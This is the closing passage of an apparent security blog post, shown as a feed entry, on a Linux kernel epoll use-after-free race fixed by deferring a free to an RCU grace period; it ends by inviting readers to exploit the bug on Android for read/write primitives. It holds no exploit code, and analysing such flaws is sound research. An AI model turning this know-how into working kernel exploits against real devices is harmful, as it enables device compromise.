<p>The fix adds a <code class="language-plaintext highlighter-rouge">struct rcu_head</code> to <code class="language-plaintext highlighter-rouge">eventpoll</code>. <code class="language-plaintext highlighter-rouge">kfree_rcu()</code> defers the free until the RCU grace period ends. Since the walker holds <code class="language-plaintext highlighter-rouge">rcu_read_lock()</code>, the grace period can’t complete until it’s done.</p>

<hr />

<h2 id="closing-thoughts">Closing Thoughts</h2>

<p>What stays with me about this bug isn’t the race condition or the allocator internals. It’s how much work it takes to understand which code paths in epoll are protected by what. Wait queue locks serialize callbacks file refcounts gate <code class="language-plaintext highlighter-rouge">ep_free</code>. <code class="language-plaintext highlighter-rouge">__fput</code> sequences cleanup. <code class="language-plaintext highlighter-rouge">call_rcu</code> defers <code class="language-plaintext highlighter-rouge">epitem</code> frees. Each mechanism covers something. You have to hold all of them in your head at once before you can point at <code class="language-plaintext highlighter-rouge">epi-&gt;ep</code> and be sure that nothing is keeping the target alive. I spent several days just on that part.</p>

<p>I encourage anyone to try to exploit this on a modern Android system, it sounds fun and I’d be interested to see how u managed to
get a stable arb read and write primitives based on this bug.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[A couple of weeks ago Nicholas Carlini burned an epoll uaf race in fs/eventpoll.c. Commit 07712db80857 changed a kfree() to kfree_rcu(). The commit message says: “eventpoll: defer struct eventpoll free to RCU grace period.”]]></summary></entry></feed>